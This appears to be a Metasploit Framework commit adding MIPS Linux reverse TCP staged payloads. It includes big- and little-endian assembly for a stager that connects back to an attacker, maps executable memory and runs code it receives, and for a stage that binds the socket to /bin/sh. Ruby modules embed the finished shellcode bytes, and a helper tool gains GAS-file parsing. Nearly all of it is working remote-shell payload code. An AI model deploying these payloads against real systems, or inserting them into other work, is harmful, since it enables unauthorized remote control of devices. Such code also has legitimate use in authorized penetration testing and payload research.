Add support for MIPS reverse shell staged payloads
jvazquez-r7
parent
804b26bac6
commit
a8806887e9
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##
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#
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# Name: stage_tcp_shell
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# Type: Stage
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# Qualities: Compatible with both mips little and big endian
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# Platforms: Linux
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# Authors: juan vazquez <juan.vazquez [at] metasploit.com>
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# License:
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#
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# This file is part of the Metasploit Exploit Framework
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# and is subject to the same licenses and copyrights as
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# the rest of this package.
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#
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# Description:
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#
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# This payload duplicates stdio, stdin and stderr to a file descriptor,
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# stored on $s2, and executes /bin/sh.
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#
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# Assemble and create a relocatable object with:
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# as -o stage_tcp_shell.o stage_tcp_shell.s
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#
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# Assemble, link and create an executable ELF with:
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# gcc -o stage_tcp_shell stage_tcp_shell.s
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#
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# The tool "tools/metasm_shell.rb" can be used to easily
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# generate the string to place on:
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# modules/payloads/stages/linux/mipsle/shell.rb
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# and:
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# modules/payloads/stages/linux/mipsbe/shell.rb
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##
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.text
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.align 2
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.globl main
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.set nomips16
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main:
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.set noreorder
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.set nomacro
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# dup2(sockfd, 2)
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# dup2(sockfd, 1)
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# dup2(sockfd, 0)
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# a0: oldfd (sockfd)
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# a1: newfd (2, 1, 0)
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li $s1, -3
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nor $s1, $s1, $zero
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add $a0, $s2, $zero
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dup2_loop:
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add $a1, $s1, $zero # dup2_loop
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li $v0, 4063 # sys_dup2
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syscall 0x40404
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li $s0, -1
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addi $s1, $s1, -1
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bne $s1, $s0, dup2_loop # <dup2_loop>
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# execve("/bin/sh", ["/bin/sh"], NULL)
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# a0: filename "/bin/sh"
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# a1: argv ["/bin/sh", NULL]
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# a2: envp NULL
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li $t8, -1 # load t8 with -1
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getaddr: # getaddr trick from scut@team-teso.net
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bltzal $t8, getaddr # branch with $ra stored if t8 < 0
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slti $t8, $zero, -1 # delay slot instr: $t8 = 0 (see below)
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addi $a0, $ra, 28 # $ra gets this address
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sw $a0, -8($sp)
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sw $zero, -4($sp)
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addi $a1, $sp, -8
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slti $a2, $zero,-1
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li $v0, 4011 # sys_execve
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syscall 0x40404
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.string "/bin/sh"
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.set macro
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.set reorder
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##
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#
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# Name: stager_sock_reverse
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# Type: Stager
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# Qualities: No Nulls out of the IP / Port data
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# Platforms: Linux MIPS Big Endian
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# Authors: juan vazquez <juan.vazquez [at] metasploit.com>
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# License:
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#
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# This file is part of the Metasploit Exploit Framework
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# and is subject to the same licenses and copyrights as
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# the rest of this package.
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#
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# Description:
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#
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# Implementation of a MIPS LE Linux reverse TCP stager.
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#
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# File descriptor in $s2.
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#
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# Assemble and create a relocatable object with:
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# as -o stager_sock_reverse.o stager_sock_reverse.s
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#
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# Assemble, link and create an executable ELF with:
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# gcc -o stager_sock_reverse stager_sock_reverse.s
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#
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# The tool "tools/metasm_shell.rb" can be used to easily
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# generate the string to place on:
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# modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb
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##
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.text
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.align 2
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.globl main
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.set nomips16
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main:
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.set noreorder
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.set nomacro
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# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
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# a0: domain = PF_INET (2)
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# a1: type = SOCK_STREAM (2)
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# a2: protocol = IPPROTO_IP (0)
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# v0: syscall = __NR_socket (4183)
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li $t7, -6
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nor $t7, $t7, $zero
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addi $a0, $t7, -3
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addi $a1, $t7, -3
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slti $a2, $zero, -1
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li $v0, 4183
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syscall 0x40404
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sw $v0, -4($sp) # store the file descriptor for the socket on the stack
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# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
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# a0: sockfd
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# a1: addr = AF_INET (2)
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# a2: addrlen = 16
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lw $a0, -4($sp)
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li $t7, -3
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nor $t7, $t7, $zero
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sw $t7, -32($sp)
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lui $t6, 0x115c
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sw $t6, -28($sp)
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lui $t6, 0x7f00 # ip
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ori $t6, $t6, 0x0001 # ip
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sw $t6, -26($sp)
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addiu $a1, $sp, -30
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li $t4, -17
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nor $a2, $t4, $zero
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li $v0, 4170
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syscall 0x40404
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# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
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# a0: addr = -1
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# a1: lenght = 4096
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# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
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# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
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# sp(16): fd = -1
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# sp(20): offset = 0
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li $a0, -1
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li $a1, 4097
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addi $a1, $a1, -1
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li $t1, -8
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nor $t1, $t1, $0
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add $a2, $t1, $0
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li $a3, 2050
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li $t3, -22
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nor $t3, $t3, $zero
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add $t3, $sp, $t3
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sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls
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sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
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li $v0, 4090
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syscall 0x40404
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sw $v0, -8($sp) # Stores the mmap'ed address on the stack
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# read(sockfd, addr, 4096)
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# a0: sockfd
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# a1: addr
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# a2: len = 4096
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lw $a0, -4($sp)
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lw $a1, -8($sp)
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li $a2, 4097
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addi $a2, $a2, -1
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li $v0, 4003
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syscall 0x40404
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# jmp to the stage
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lw $s1, -8($sp)
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lw $s2, -4($sp)
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jalr $s1
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.set macro
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.set reorder
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@ -0,0 +1,111 @@
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##
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#
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# Name: stager_sock_reverse
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# Type: Stager
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# Qualities: No Nulls out of the IP / Port data
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# Platforms: Linux MIPS Little Endian
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# Authors: juan vazquez <juan.vazquez [at] metasploit.com>
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# License:
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#
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# This file is part of the Metasploit Exploit Framework
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# and is subject to the same licenses and copyrights as
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# the rest of this package.
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#
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# Description:
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#
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# Implementation of a MIPS LE Linux reverse TCP stager.
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#
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# File descriptor in $s2.
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#
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# Assemble and create a relocatable object with:
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# as -o stager_sock_reverse.o stager_sock_reverse.s
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#
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# Assemble, link and create an executable ELF with:
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# gcc -o stager_sock_reverse stager_sock_reverse.s
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#
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# The tool "tools/metasm_shell.rb" can be used to easily
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# generate the string to place on:
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# modules/payloads/stagers/linux/mipsle/reverse_tcp.rb
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##
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.text
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.align 2
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.globl main
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.set nomips16
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main:
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.set noreorder
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.set nomacro
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# socket(PF_INET, SOCK_STREAM, IPPROTO_IP)
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# a0: domain = PF_INET (2)
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# a1: type = SOCK_STREAM (2)
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# a2: protocol = IPPROTO_IP (0)
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# v0: syscall = __NR_socket (4183)
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li $t7, -6
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nor $t7, $t7, $zero
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addi $a0, $t7, -3
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addi $a1, $t7, -3
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slti $a2, $zero, -1
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li $v0, 4183
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syscall 0x40404
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sw $v0, -4($sp) # store the file descriptor for the socket on the stack
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# connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16)
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# a0: sockfd
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# a1: addr = AF_INET (2)
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# a2: addrlen = 16
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lw $a0, -4($sp)
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li $t7, -3
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nor $t7, $t7, $zero
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sw $t7, -30($sp)
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ori $t6, $zero, 0x5c11 # port
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sw $t6, -28($sp)
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lui $t6, 0x100 # ip
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ori $t6, $t6, 0x7f # ip
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sw $t6, -26($sp)
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addiu $a1, $sp, -30
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li $t4, -17
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nor $a2, $t4, $zero
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li $v0, 4170
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syscall 0x40404
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# mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0)
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# a0: addr = -1
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# a1: lenght = 4096
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# a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7)
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# a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050)
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# sp(16): fd = -1
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# sp(20): offset = 0
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li $a0, -1
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li $a1, 4097
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addi $a1, $a1, -1
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li $t1, -8
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nor $t1, $t1, $0
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add $a2, $t1, $0
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li $a3, 2050
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li $t3, -22
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nor $t3, $t3, $zero
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add $t3, $sp, $t3
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sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls
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sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls
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li $v0, 4090
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syscall 0x40404
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sw $v0, -8($sp) # Stores the mmap'ed address on the stack
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# read(sockfd, addr, 4096)
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# a0: sockfd
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# a1: addr
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# a2: len = 4096
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lw $a0, -4($sp)
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lw $a1, -8($sp)
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li $a2, 4097
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addi $a2, $a2, -1
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li $v0, 4003
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syscall 0x40404
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# jmp to the stage
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lw $s1, -8($sp)
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lw $s2, -4($sp)
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jalr $s1
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.set macro
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.set reorder
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@ -0,0 +1,54 @@
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_tcp'
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module Metasploit3
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include Msf::Payload::Stager
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include Msf::Payload::Linux
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Reverse TCP Stager',
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'Description' => 'Connect back to the attacker',
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'Author' =>
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[
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'juan vazquez'
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],
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_MIPSBE,
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'Handler' => Msf::Handler::ReverseTcp,
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'Stager' =>
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{
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'Offsets' =>
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{
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'LHOST' => [ [58, 62], 'ADDR16MSB' ],
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'LPORT' => [ 50, 'n' ],
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},
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'Payload' =>
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"\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5" +
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"\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c" +
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"\xaf\xa2\xff\xfc\x8f\xa4\xff\xfc\x24\x0f\xff\xfd\x01\xe0" +
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"\x78\x27\xaf\xaf\xff\xe0\x3c\x0e\x11\x5c\xaf\xae\xff\xe4" +
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"\x3c\x0e\x7f\x00\x35\xce\x00\x01\xaf\xae\xff\xe6\x27\xa5" +
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"\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a" +
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"\x01\x01\x01\x0c\x24\x04\xff\xff\x24\x05\x10\x01\x20\xa5" +
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"\xff\xff\x24\x09\xff\xf8\x01\x20\x48\x27\x01\x20\x30\x20" +
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"\x24\x07\x08\x02\x24\x0b\xff\xea\x01\x60\x58\x27\x03\xab" +
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"\x58\x20\xad\x60\xff\xff\xad\x62\xff\xfb\x24\x02\x0f\xfa" +
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"\x01\x01\x01\x0c\xaf\xa2\xff\xf8\x8f\xa4\xff\xfc\x8f\xa5" +
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"\xff\xf8\x24\x06\x10\x01\x20\xc6\xff\xff\x24\x02\x0f\xa3" +
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"\x01\x01\x01\x0c\x8f\xb1\xff\xf8\x8f\xb2\xff\xfc\x02\x20" +
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"\xf8\x09"
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}
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))
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end
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end
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@ -0,0 +1,54 @@
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_tcp'
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module Metasploit3
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include Msf::Payload::Stager
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include Msf::Payload::Linux
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Reverse TCP Stager',
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'Description' => 'Connect back to the attacker',
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'Author' =>
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[
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'juan vazquez'
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],
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_MIPSLE,
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'Handler' => Msf::Handler::ReverseTcp,
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'Stager' =>
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{
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'Offsets' =>
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{
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'LHOST' => [ [60, 56], 'ADDR16MSB' ],
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'LPORT' => [ 48, 'n' ],
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},
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'Payload' =>
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"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd\xff" +
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"\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01" +
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"\xfc\xff\xa2\xaf\xfc\xff\xa4\x8f\xfd\xff\x0f\x24\x27\x78" +
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"\xe0\x01\xe2\xff\xaf\xaf\x11\x5c\x0e\x34\xe4\xff\xae\xaf" +
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"\x00\x01\x0e\x3c\x7f\x00\xce\x35\xe6\xff\xae\xaf\xe2\xff" +
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"\xa5\x27\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24" +
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"\x0c\x01\x01\x01\xff\xff\x04\x24\x01\x10\x05\x24\xff\xff" +
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"\xa5\x20\xf8\xff\x09\x24\x27\x48\x20\x01\x20\x30\x20\x01" +
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"\x02\x08\x07\x24\xea\xff\x0b\x24\x27\x58\x60\x01\x20\x58" +
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"\xab\x03\xff\xff\x60\xad\xfb\xff\x62\xad\xfa\x0f\x02\x24" +
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"\x0c\x01\x01\x01\xf8\xff\xa2\xaf\xfc\xff\xa4\x8f\xf8\xff" +
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"\xa5\x8f\x01\x10\x06\x24\xff\xff\xc6\x20\xa3\x0f\x02\x24" +
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"\x0c\x01\x01\x01\xf8\xff\xb1\x8f\xfc\xff\xb2\x8f\x09\xf8" +
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"\x20\x02"
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}
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))
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end
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end
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@ -0,0 +1,36 @@
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
include Msf::Payload::Linux
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Linux Command Shell',
|
||||
'Description' => 'Spawn a command shell (staged)',
|
||||
'Author' => 'juan vazquez',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSBE,
|
||||
'Session' => Msf::Sessions::CommandShellUnix,
|
||||
'Stage' =>
|
||||
{
|
||||
'Payload' =>
|
||||
"\x24\x11\xff\xfd\x02\x20\x88\x27\x02\x40\x20\x20\x02\x20" +
|
||||
"\x28\x20\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff" +
|
||||
"\x22\x31\xff\xff\x16\x11\xff\xfa\x24\x18\xff\xff\x07\x10" +
|
||||
"\xff\xff\x28\x18\xff\xff\x23\xe4\x00\x1c\xaf\xa4\xff\xf8" +
|
||||
"\xaf\xa0\xff\xfc\x23\xa5\xff\xf8\x28\x06\xff\xff\x24\x02" +
|
||||
"\x0f\xab\x01\x01\x01\x0c\x2f\x62\x69\x6e\x2f\x73\x68\x00"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,36 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/base/sessions/command_shell'
|
||||
require 'msf/base/sessions/command_shell_options'
|
||||
|
||||
module Metasploit3
|
||||
include Msf::Payload::Linux
|
||||
include Msf::Sessions::CommandShellOptions
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Linux Command Shell',
|
||||
'Description' => 'Spawn a command shell (staged)',
|
||||
'Author' => 'juan vazquez',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'Session' => Msf::Sessions::CommandShellUnix,
|
||||
'Stage' =>
|
||||
{
|
||||
'Payload' =>
|
||||
"\xfd\xff\x11\x24\x27\x88\x20\x02\x20\x20\x40\x02\x20\x28" +
|
||||
"\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff\xff\x10\x24" +
|
||||
"\xff\xff\x31\x22\xfa\xff\x11\x16\xff\xff\x18\x24\xff\xff" +
|
||||
"\x10\x07\xff\xff\x18\x28\x1c\x00\xe4\x23\xf8\xff\xa4\xaf" +
|
||||
"\xfc\xff\xa0\xaf\xf8\xff\xa5\x23\xff\xff\x06\x28\xab\x0f" +
|
||||
"\x02\x24\x0c\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x00"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -3,7 +3,8 @@
|
|||
# $Id$
|
||||
#
|
||||
# This tool provides an easy way to see what opcodes are associated with
|
||||
# certain x86 instructions by making use of Metasm!
|
||||
# certain x86 instructions by making use of Metasm! Also allows to get
|
||||
# friendly output from a GAS assembler source code file.
|
||||
#
|
||||
#
|
||||
# $Revision$
|
||||
|
|
@ -32,6 +33,9 @@ require 'metasm'
|
|||
#PowerPC, seems broken for now in metasm
|
||||
#@Arch = ['Ia32','MIPS','PowerPC','ARM','X86_64']
|
||||
@Arch = ['Ia32','MIPS','ARM','X86_64']
|
||||
@Endian = ['little','big']
|
||||
@architecture = ""
|
||||
@endianess = ""
|
||||
|
||||
def usage
|
||||
$stderr.puts("\nUsage: #{$0} <options>\n" + $args.usage)
|
||||
|
|
@ -40,7 +44,8 @@ end
|
|||
|
||||
$args = Rex::Parser::Arguments.new(
|
||||
"-a" => [ true, "The architecture to encode as (#{@Arch.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})"],
|
||||
"-h" => [ false, "Display this help information" ])
|
||||
"-e" => [ true, "The endianess to encode as (#{@Endian.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})" ],
|
||||
"-h" => [ false, "Display this help information" ])
|
||||
|
||||
$args.parse(ARGV) { |opt, idx, val|
|
||||
case opt
|
||||
|
|
@ -48,12 +53,20 @@ $args.parse(ARGV) { |opt, idx, val|
|
|||
found = nil
|
||||
@Arch.each { |a|
|
||||
if val.downcase == a.downcase
|
||||
String.class_eval("@@cpu = Metasm::#{a}.new")
|
||||
@architecture = a
|
||||
found = true
|
||||
end
|
||||
}
|
||||
usage if not found
|
||||
when "-e"
|
||||
found = nil
|
||||
@Endian.each { |e|
|
||||
if val.downcase == e.downcase
|
||||
@endianess = e
|
||||
found = true
|
||||
end
|
||||
}
|
||||
usage if not found
|
||||
|
||||
when "-h"
|
||||
usage
|
||||
else
|
||||
|
|
@ -61,6 +74,14 @@ $args.parse(ARGV) { |opt, idx, val|
|
|||
end
|
||||
}
|
||||
|
||||
unless @architecture.empty?
|
||||
if @endianess.empty?
|
||||
String.class_eval("@@cpu = Metasm::#{@architecture}.new")
|
||||
else
|
||||
String.class_eval("@@cpu = Metasm::#{@architecture}.new(:#{@endianess})")
|
||||
end
|
||||
end
|
||||
|
||||
class String
|
||||
@@cpu ||= Metasm::Ia32.new
|
||||
class << self
|
||||
|
|
@ -98,23 +119,61 @@ class String
|
|||
def decode(base_addr=0, eip=base_addr)
|
||||
decode_blocks(base_addr, eip).to_s
|
||||
end
|
||||
|
||||
def disassemble(str, eip=0)
|
||||
Metasm::Shellcode.disassemble(@@cpu, str, eip)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def parse_gas_file(filename)
|
||||
unless ::File.exist?(filename)
|
||||
puts "File #{filename} not found"
|
||||
return
|
||||
end
|
||||
shellcode = ""
|
||||
puts "Reading file #{filename}"
|
||||
::File.open(filename, "rb") do |f|
|
||||
f.each_line do |l|
|
||||
l.gsub!(/#.*$/, "") # Delete comments
|
||||
l.gsub!(/@.*$/, "") # Delete comments
|
||||
l.gsub!(/\..*$/, "") # Delete directives
|
||||
l.gsub!(/(\r|\n)/, '') # Delete newlines... just in case...
|
||||
next if l.strip.empty?
|
||||
shellcode << "#{l}\n"
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
encoded = shellcode.encode
|
||||
puts Rex::Text.to_ruby(encoded)
|
||||
puts encoded.disassemble(shellcode.encode)
|
||||
rescue Metasm::Exception => e
|
||||
puts "Error: #{e.class} #{e.message}"
|
||||
end
|
||||
end
|
||||
|
||||
# Start a pseudo shell and dispatch lines to be assembled and then
|
||||
# disassembled.
|
||||
shell = Rex::Ui::Text::PseudoShell.new("%bldmetasm%clr")
|
||||
shell.init_ui(Rex::Ui::Text::Input::Stdio.new, Rex::Ui::Text::Output::Stdio.new)
|
||||
|
||||
puts 'type "exit" or "quit" to quit', 'use ";" or "\\n" for newline', ''
|
||||
puts [
|
||||
'type "exit" or "quit" to quit',
|
||||
'use ";" or "\\n" for newline',
|
||||
'type "file <file>" to parse a GAS assembler source file',
|
||||
'']
|
||||
|
||||
shell.run { |l|
|
||||
l.gsub!(/(\r|\n)/, '')
|
||||
l.gsub!(/\\n/, "\n")
|
||||
l.gsub!(/\\n/, "\n")
|
||||
l.gsub!(';', "\n")
|
||||
|
||||
break if %w[quit exit].include? l.chomp
|
||||
if l.chomp.index(/^file (.*)/)
|
||||
parse_gas_file($1)
|
||||
next
|
||||
end
|
||||
next if l.strip.empty?
|
||||
|
||||
begin
|
||||
|
|
|
|||
Loading…
Reference in New Issue